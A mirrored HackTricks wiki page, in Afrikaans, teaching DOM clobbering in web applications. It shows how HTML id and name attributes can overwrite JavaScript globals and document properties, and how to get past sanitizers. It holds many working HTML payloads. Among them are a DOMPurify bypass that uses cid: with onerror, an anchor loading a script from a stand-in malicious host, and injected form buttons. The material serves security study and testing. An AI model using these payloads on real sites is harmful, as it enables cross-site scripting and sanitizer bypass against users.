mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
220 lines
10 KiB
Markdown
220 lines
10 KiB
Markdown
# Dom Clobbering
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## **Basiese beginsels**
|
||
|
||
Dit is moontlik om **globale veranderlikes binne die JS-konteks** te genereer met die eienskappe **`id`** en **`name`** in HTML-tags.
|
||
```html
|
||
<form id="x"></form>
|
||
<script>
|
||
console.log(typeof document.x) //[object HTMLFormElement]
|
||
</script>
|
||
```
|
||
**Slegs** sekere elemente kan die **naam attribuut** gebruik om globals te clobber, hulle is: `embed`, `form`, `iframe`, `image`, `img` en `object`.
|
||
|
||
Interessant genoeg, wanneer jy 'n **form element** gebruik om 'n veranderlike te **clobber**, sal jy die **`toString`** waarde van die element self kry: `[object HTMLFormElement]` maar met **anker** sal die **`toString`** die anker **`href`** wees. Daarom, as jy clobber met die **`a`** tag, kan jy die **waarde** **beheer** wanneer dit **as 'n string** behandel word:
|
||
```html
|
||
<a href="controlled string" id="x"></a>
|
||
<script>
|
||
console.log(x) //controlled string
|
||
</script>
|
||
```
|
||
### Arrays & Attributes
|
||
|
||
Dit is ook moontlik om 'n **array** en **objek eienskappe** te **clobber**:
|
||
```html
|
||
<a id="x">
|
||
<a id="x" name="y" href="controlled">
|
||
<script>
|
||
console.log(x[1]) //controlled
|
||
console.log(x.y) //controlled
|
||
</script></a
|
||
></a
|
||
>
|
||
```
|
||
Om **'n 3de attribuut** (bv. x.y.z) te oorskry, moet jy **'n `form`** gebruik:
|
||
```html
|
||
<form id="x" name="y"><input id="z" value="controlled" /></form>
|
||
<form id="x"></form>
|
||
<script>
|
||
alert(x.y.z.value) //controlled
|
||
</script>
|
||
```
|
||
Clobbering meer eienskappe is **meer ingewikkeld maar steeds moontlik**, met behulp van iframes:
|
||
```html
|
||
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
|
||
<style>
|
||
@import "https://google.com";
|
||
</style>
|
||
<script>
|
||
alert(x.y) //controlled
|
||
</script>
|
||
```
|
||
> [!WARNING]
|
||
> Die style-tag word gebruik om **genoeg tyd aan die iframe te gee om te render**. Sonder dit sal jy 'n waarskuwing van **undefined** vind.
|
||
|
||
Om dieper eienskappe te klobber, kan jy **iframes met html-kodering** op hierdie manier gebruik:
|
||
```html
|
||
<iframe
|
||
name="a"
|
||
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
||
<style>
|
||
@import "https://google.com";
|
||
</style>
|
||
<script>
|
||
alert(a.b.c.d.e) //controlled
|
||
</script>
|
||
```
|
||
### **Filter Omseiling**
|
||
|
||
As 'n filter deur die eienskappe van 'n knoop **loop** met iets soos `document.getElementByID('x').attributes`, kan jy die attribuut **`.attributes`** **clobber** en die filter **breek**. Ander DOM-eienskappe soos **`tagName`**, **`nodeName`** of **`parentNode`** en meer is ook **clobberable**.
|
||
```html
|
||
<form id="x"></form>
|
||
<form id="y">
|
||
<input name="nodeName" />
|
||
</form>
|
||
<script>
|
||
console.log(document.getElementById("x").nodeName) //FORM
|
||
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
|
||
</script>
|
||
```
|
||
## **Clobbering `window.someObject`**
|
||
|
||
In JavaScript is dit algemeen om te vind:
|
||
```javascript
|
||
var someObject = window.someObject || {}
|
||
```
|
||
Die manipulasie van HTML op die bladsy laat toe om `someObject` met 'n DOM-knoop te oorskry, wat moontlik sekuriteitskwesies kan inbring. Byvoorbeeld, jy kan `someObject` vervang met 'n anker-element wat na 'n kwaadwillige skrip wys:
|
||
```html
|
||
<a id=someObject href=//malicious-website.com/malicious.js></a>
|
||
```
|
||
In 'n kwesbare kode soos:
|
||
```html
|
||
<script>
|
||
window.onload = function () {
|
||
let someObject = window.someObject || {}
|
||
let script = document.createElement("script")
|
||
script.src = someObject.url
|
||
document.body.appendChild(script)
|
||
}
|
||
</script>
|
||
```
|
||
Hierdie metode benut die skripbron om ongewenste kode uit te voer.
|
||
|
||
**Trick**: **`DOMPurify`** laat jou toe om die **`cid:`** protokol te gebruik, wat **nie URL-encodeer dubbele aanhalings** nie. Dit beteken jy kan **'n geënkodeerde dubbele aanhaling inspuit wat tydens uitvoering gedecodeer sal word**. Daarom sal die inspuiting van iets soos **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** die HTML geënkodeerde `"` **tydens uitvoering gedecodeer** maak en **ontsnap** van die attribuutwaarde om die **`onerror`** gebeurtenis te **skep**.
|
||
|
||
'n Ander tegniek gebruik 'n **`form`** element. Sekere kliënt-kant biblioteke ondersoek die attribuut van 'n nuut geskepte form element om dit skoon te maak. Deur egter 'n `input` met `id=attributes` binne die vorm by te voeg, oorskry jy effektief die attribuut eienskap, wat verhoed dat die sanitizer toegang tot die werklike attribuut het.
|
||
|
||
Jy kan [**'n voorbeeld van hierdie tipe clobbering in hierdie CTF skrywe vind**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||
|
||
## Clobbering dokument objek
|
||
|
||
Volgens die dokumentasie is dit moontlik om attribuut van die dokument objek te oorskry deur DOM Clobbering:
|
||
|
||
> Die [Document](https://html.spec.whatwg.org/multipage/dom.html#document) koppelvlak [ondersteun naamgegewe eienskappe](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Die [ondersteunde eienskapname](https://webidl.spec.whatwg.org/#dfn-supported-property-names) van 'n [Document](https://html.spec.whatwg.org/multipage/dom.html#document) objek dokument op enige oomblik bestaan uit die volgende, in [boomorde](https://dom.spec.whatwg.org/#concept-tree-order) volgens die element wat dit bygedra het, terwyl latere duplikate geïgnoreer word, en met waardes van [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) attribuut wat voor waardes van naam attribuut kom wanneer dieselfde element albei bydra:
|
||
>
|
||
> \- Die waarde van die naam inhoud attribuut vir alle [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), en [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elemente wat 'n nie-leë naam inhoud attribuut het en in 'n [dokumentboom](https://dom.spec.whatwg.org/#in-a-document-tree) met dokument as hul [wortel](https://dom.spec.whatwg.org/#concept-tree-root) is;\
|
||
> \
|
||
> \- Die waarde van die [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) inhoud attribuut vir alle [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elemente wat 'n nie-leë [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) inhoud attribuut het en in 'n [dokumentboom](https://dom.spec.whatwg.org/#in-a-document-tree) met dokument as hul [wortel](https://dom.spec.whatwg.org/#concept-tree-root) is;\
|
||
> \
|
||
> \- Die waarde van die [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) inhoud attribuut vir alle [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elemente wat albei 'n nie-leë [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) inhoud attribuut en 'n nie-leë naam inhoud attribuut het, en in 'n [dokumentboom](https://dom.spec.whatwg.org/#in-a-document-tree) met dokument as hul [wortel](https://dom.spec.whatwg.org/#concept-tree-root) is.
|
||
|
||
Deur hierdie tegniek te gebruik, kan jy algemeen gebruikte **waardes soos `document.cookie`, `document.body`, `document.children`**, en selfs metodes in die Document koppelvlak soos `document.querySelector` oorskry.
|
||
```javascript
|
||
document.write("<img name=cookie />")
|
||
|
||
document.cookie
|
||
<img name="cookie">
|
||
|
||
typeof(document.cookie)
|
||
'object'
|
||
|
||
//Something more sanitize friendly than a img tag
|
||
document.write("<form name=cookie><input id=toString></form>")
|
||
|
||
document.cookie
|
||
HTMLCollection(2) [img, form, cookie: img]
|
||
|
||
typeof(document.cookie)
|
||
'object
|
||
```
|
||
## Skryf na die element wat geklobber is
|
||
|
||
Die resultate van oproepe na **`document.getElementById()`** en **`document.querySelector()`** kan verander word deur 'n `<html>` of `<body>` tag met 'n identiese id attribuut in te spuit. Hier is hoe dit gedoen kan word:
|
||
```html
|
||
<div style="display:none" id="cdnDomain" class="x">test</div>
|
||
<p>
|
||
<html id="cdnDomain" class="x">
|
||
clobbered
|
||
</html>
|
||
<script>
|
||
alert(document.getElementById("cdnDomain").innerText) // Clobbered
|
||
alert(document.querySelector(".x").innerText) // Clobbered
|
||
</script>
|
||
</p>
|
||
```
|
||
Verder, deur style te gebruik om hierdie ingeslote HTML/body-tags te verberg, kan inmenging van ander teks in die `innerText` voorkom word, wat die doeltreffendheid van die aanval verbeter:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">test</div>
|
||
<p>existing text</p>
|
||
<html id="cdnDomain">
|
||
clobbered
|
||
</html>
|
||
<style>
|
||
p {
|
||
display: none;
|
||
}
|
||
</style>
|
||
<script>
|
||
alert(document.getElementById("cdnDomain").innerText) // Clobbered
|
||
</script>
|
||
```
|
||
Ondersoeke na SVG het onthul dat 'n `<body>`-tag ook effektief gebruik kan word:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">example.com</div>
|
||
<svg>
|
||
<body id="cdnDomain">
|
||
clobbered
|
||
</body>
|
||
</svg>
|
||
<script>
|
||
alert(document.getElementById("cdnDomain").innerText) // Clobbered
|
||
</script>
|
||
```
|
||
Vir die HTML-tag om binne SVG in blaaiers soos Chrome en Firefox te funksioneer, is 'n `<foreignobject>`-tag nodig:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">example.com</div>
|
||
<svg>
|
||
<foreignobject>
|
||
<html id="cdnDomain">
|
||
clobbered
|
||
</html>
|
||
</foreignobject>
|
||
</svg>
|
||
<script>
|
||
alert(document.getElementById("cdnDomain").innerText) // Clobbered
|
||
</script>
|
||
```
|
||
## Clobbering Forms
|
||
|
||
Dit is moontlik om **nuwe inskrywings binne 'n vorm** by te voeg net deur die **`form` attribuut** binne sommige tags te spesifiseer. Jy kan dit gebruik om **nuwe waardes binne 'n vorm** by te voeg en selfs 'n nuwe **knoppie** te voeg om dit te **stuur** (clickjacking of om sommige `.click()` JS kode te misbruik):
|
||
```html
|
||
<!--Add a new attribute and a new button to send-->
|
||
<textarea form="id-other-form" name="info">
|
||
";alert(1);//
|
||
</textarea>
|
||
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
|
||
Click to send!
|
||
</button>
|
||
```
|
||
- Vir meer vormattribuut in [**knoppie kyk hierna**](https://www.w3schools.com/tags/tag_button.asp)**.**
|
||
|
||
## Verwysings
|
||
|
||
- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||
- [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
||
- Heyes, Gareth. JavaScript vir hackers: Leer om soos 'n hacker te dink.
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|